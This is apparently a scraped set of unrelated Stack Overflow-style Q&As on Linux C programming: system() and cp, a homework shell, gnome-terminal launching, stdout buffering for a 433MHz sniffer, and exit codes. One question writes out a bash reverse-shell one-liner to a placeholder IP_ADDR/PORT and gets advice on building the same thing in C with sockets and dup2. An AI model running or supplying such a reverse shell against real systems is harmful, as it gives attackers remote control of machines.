I want to find the number of context switches of a program. I know there is a file /proc/PID/status which reports the number of context switches continuously while the program is running. However, after the process is finished that file is deleted, so I am not able to check the content.
For this reason, in the following C code, I am trying to copying that file before and after the region of interest.
int pid_num = getpid();
system("sudo cp /proc/$pid_num/status start.txt");
// do
system("sudo cp /proc/$pid_num/status finish.txt");
As I run the program, I get this message
cp: cannot stat '/proc//status': No such file or directory
It seems that $pid_num in the system function is not correct. What is the correct form then?
C uses format specifiers equivalent to more generic $var shell counterpart. You need to prepare the command-string before invoking system() call.
#define START_FILE "start.txt"
#define END_FILE "finish.txt"
#define MAX_CMD_BUFFSIZE 256 // adjust as necessary
char cmdbuf[MAX_CMD_BUFFSIZE];
pid_t pid_num = getpid();
snprintf(cmdbuf, sizeof(cmdbuf), "sudo cp -f /proc/%d/status %s", pid_num, START_FILE);
int cmd_status = system(cmdbuf);
// verify
snprintf(cmdbuf, sizeof(cmdbuf), "sudo cp -f /proc/%d/status %s", pid_num, END_FILE);
cmd_status = system(cmdbuf);
// verify
use -f command option to replace target file if it already exists.
Also, you need to run this program with an user with sudo privileges; which is inviting trouble. If process status file is available for every user for reading, check if you can drop sudo from command.
Related
I'm currently doing my Homework for UNIX(LINUX) programming.
I was assigned to build my own custom shell that all commonly used linux command and custom program can work.
I also created my_ls, my_cp, my_rm, my_cd for checking that both linux command and my own command works.
Simple story's are below
./myOwnShell // Run my own shell
home/testFolder>>ls . // Shell prompt
a.out helloWorld.txt myOwnShell.c myOwnShell // Print ls command's result
home/test/Folder>>my_ls . // Run my own ls command program
a.out helloWorld.txt myOwnShell.c myOwnShell
So far, all the linux command (which in /bin/) and my own command (which in home//bin/) works.
But it comes with differences when I type cd and my_cd - which changes current cwd
home/testFolder>>cd ..
Fail to run program // Error message from exec function failure
home/testFolder>>my_cd ..
// No message but also cwd is not changed
home/testFolder>> // Prompt from same folder
Somewhat pseudo source codes are below for myShell program
(I cannot copy/paste for my source cause it is in university server and transfer protocols are blocked)
int main() {
char** res; // store command by tokening
while (1) {
printf("%s>>", cwd);
gets(in); // get command
// <Some codes that split `in` by space and store it into res>
// <If cmd is "ls ./folder" -> res = ["ls", "./folder", NULL]>
pid = fork();
if (pid == 0) { // child
if (execvp(res[0], res) == -1) { // Run 'ls' command
printf("Fail to run program");
exit(0); // Exit child process
}
} else { // Parent, I omit in case of fork failure
wait(0);
// Omit exit status checking code
}
}
return 0;
}
Command cd is linux built-in command,
Command my_cd is my own program which change it's cwd.
And I do know that changing child process's cwd cannot effect to parent process and that's why 'cd' dose not change my shell's cwd. And I found that cd command is not in /bin/, so I guess cdis coded inside linux shell.
How can I make it work?
For linux cd
For my own my_cd -- I don't have it's source code, only have program. It is from my professor.
My guess is that cd cannot be implemented unless it is coded in shell itself. But professor give me this homework and it can mean that it is possible.
Any idea please?
I need to run a reverse shell using execve. I know how to run it from command line as follows:
$ /bin/sh -i > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1
I can run a simple version of /bin/sh call as follows:
#include <stdio.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = "-i";
args[2] = NULL;
execve(args[0], args, NULL);
}
I am not able to figure out how to run the rest of the command. I tried assigning the remaining string > /dev/tcp/IP_ADDR/PORT 0<&1 2>&1 as individual elements in the args array. When I run that it reports that Can't open >.
Is the reverse shell command I mentioned executable via execve() ? If so, what would be the right way to do it ? Thanks.
The /dev/tcp/*/* files don't exist. They're an abstraction that only exists in some shell (bash, ksh). You'll need to do regular socket programming in your C program (socket, bind, listen, accept and then dup2 the socket on the standard IO descriptors of the shell you spawn).
You should also fix the overflow in the array.
An initialization such as char *args[] = { "/bin/sh", "-i", 0 }; should be less error prone.
gcc version 5.3.0 20151204 (Ubuntu 5.3.0-3ubuntu1~14.04)
I read this and and I find this line:
int exit_status = system("gnome-terminal");
so when I add it to my code it only open a new terminal window (well that's what he was asking for) but my program runs in the old one.
is there any way to run my program in a new terminal window.
and also when the program finish executing, the terminal window get closed like I typed the exit command
system("gnome-terminal"); will run the given command, wait for it to exit, and then continue with your program. That's why your program continues to run in the current terminal window.
Rather than trying to do this in C, it probably makes more sense to write a shell script wrapper for your program, and use that script to launch your program in a new terminal window:
#!/bin/bash
gnome-terminal -e ./your-program-name your program arguments
Make the script executable (chmod +x script-name), and then you can run it just like you would a C program. You can even have it forward the arguments from the script to your actual program:
#!/bin/bash
gnome-terminal -e ./your-program-name "$#"
Note that rather than using gnome-terminal (which assumes the user has gnome installed), you can use the more neutral x-terminal-emulator command instead (see How can I make a script that opens terminal windows and executes commands in them?).
If you really want to do this from your C program, then I'd recommend doing something like this:
#include <stdio.h>
#include <stdlib.h>
char cmd[1024];
int main(int argc, char *argv[]){
// re-launch in new window, if needed
char *new_window_val = getenv("IN_NEW_WINDOW");
const char *user_arg = argc < 2 ? "" : argv[1];
if (!new_window_val || new_window_val[0] != '1') {
snprintf(cmd, sizeof(cmd), "gnome-terminal -e IN_NEW_WINDOW=1 %s %s", argv[0], user_arg);
printf("RELAUNCH! %s\n", cmd);
return system(cmd);
}
// do normal stuff
printf("User text: %s\n", argv[1]);
return 0;
}
Using an environment variable (IN_NEW_WINDOW in this case) to check if you've already launched in a new window should make it so that the new window only opens once. Note that the above code assumes a program with only one argument.
However, I still think using the wrapper script is a better solution.
I'm using a C program on my raspberry pi2 with a 433mhz receiver to read codes that are transmitted. This program sniffing 433mhz codes.
To run it, I use the following command: sudo ./RFSniffer and if a code is found, the program displays in the console something like :
Received 5204
But, I would like to be able to get these codes in a file, so I tried this:
sudo ./RFSniffer >> codes.txt
But nothing is appended to my codes.txt file...and I don't know why. What's wrong with my code? The file is always empty.
Here is my code :
#include "RCSwitch.h"
#include <stdlib.h>
#include <stdio.h>
RCSwitch mySwitch;
int main(int argc, char *argv[]) {
int PIN = 2;
if(wiringPiSetup() == -1)
return 0;
mySwitch = RCSwitch();
mySwitch.enableReceive(PIN);
while(1) {
if (mySwitch.available()) {
int value = mySwitch.getReceivedValue();
if (value == 0) {
printf("Unknown encoding");
} else {
printf("Received %i\n", mySwitch.getReceivedValue() );
}
mySwitch.resetAvailable();
}
}
exit(0);
}
Could the problem be exit(0) or printf() instead of anything else?
EDIT:
The program is compiled with WiringPI lib so there is a flag '-lwiringPi'
The tool is available here: https://github.com/ninjablocks/433Utils/tree/master/RPi_utils
EDIT2:
I changed the code to:
int main(int argc, char *argv[]) {
printf("yeah\n");
exit(0);
}
And it works only with:
sudo sh -c './RFSniffer >> /home/pi/433Utils/RPi_utils/codes.txt'
So the problem is maybe while(1) { printf... }? Or the file is only written when exit(0) is called?
You are writing on stdout which is buffered by default, and as I cannot see any break, return or exit in your loop, I assume that you quit your program with Ctrl-C.
And all the values that were buffered until there are simply discarded.
You should simply fflush stdout after each write to make sure that what is received will end in your file :
while(1) {
if (mySwitch.available()) {
int value = mySwitch.getReceivedValue();
if (value == 0) {
printf("Unknown encoding");
} else {
printf("Received %i\n", mySwitch.getReceivedValue() );
}
fflush(stdout); // force immediate output
mySwitch.resetAvailable();
}
And anyway, having to Ctrl-C to exit a program is not really nice ...
I believe your problem is "sudo". Are you sure you know where codes.txt is? Give it an absolute path (e.g. >> /tmp/codes.txt).
You can use tee command, that will store your stream data in file
You can use it as
./RFSniffer | tee codes.txt
I suspect that sudo might be executing your command with a different working directory. What does sudo pwd print? Have you considered looking for codes.txt in that directory?
edit: Alternatively, could it be that your OS is temporarily storing stdout somewhere until the program closes, at which point it writes to your codes.txt file? What happens if you inject an exit(0); immediately after each call to printf in this code (or terminate the loop, whatever...)
Either file codes.txt is not provided the write permission.
Check ls -l codes.txt and confirm file has write permission.
OR path of the file is not right, so provide absolute path of the file:
sudo ./RFSniffer >> codes.txt
replace it with
sudo sh -c `RFSniffer >> <absolute_path>/codes.txt`
OR
sudo ./RFSniffer | sudo tee <absolute_path>/codes.txt
This link give more details on file redirection using sudo : How do I use sudo to redirect output to a location I don't have permission to write to?
Here i used below in code on linux.
using cp command in system function.
I know about system function it will return the 0 if command successfully executed.otherwise it will return error code.
If here i use proper source and destination path than i got output like this
Number == 0
If i give wrong source and destination path than i got
cp: cannot create regular file `/home/sam/test/test': No such file or directory
Number == 256
cp: cannot stat `/home/sam/main/test2/test': Not a directory
Number == 256
Here i want to know the error code of cp command what cp command return here.
My questions are here
1 System function return error code of cp command?
2 Can i get error code of cp command from source code of cp command?
3 i want to handle all types of error in this cp command.
code :
#include <stdlib.h>
#include <stdio.h>
void main()
{
int a;
a = system("cp /home/sam/main/test /home/sam");
printf("Number == %d\n",a);
}
So any body please Explain me about this all
The correct way to user the return value of system is with the wait-specific macros.
if (WIFEXITED(a)) {
int rc;
rc = WEXITSTATUS(a);
printf("Exit with status: %d\n", rc);
} else {
/* Killed by a signal. */
}
The man page of system states:
RETURN VALUE
The value returned is -1 on error (e.g. fork(2) failed), and the return status of the command otherwise. This latter return
status is in the format specified in wait(2). Thus, the exit code of the command will be WEXITSTATUS(status). In case
/bin/sh could not be executed, the exit status will be that of a command that does exit(127).
If the value of command is NULL, system() returns nonzero if the shell is available, and zero if not.
system() does not affect the wait status of any other children.
So, you can get the exit status with WEXITSTATUS(a) whene WIFEXITED(a) is true.
In general, the possible exit codes of a command are specified in the manpage. For cp, there is no documentation, so you can't rely on anything. You might think of going with lower-level system commands (such as open or link).
256 typically means there was a permission issue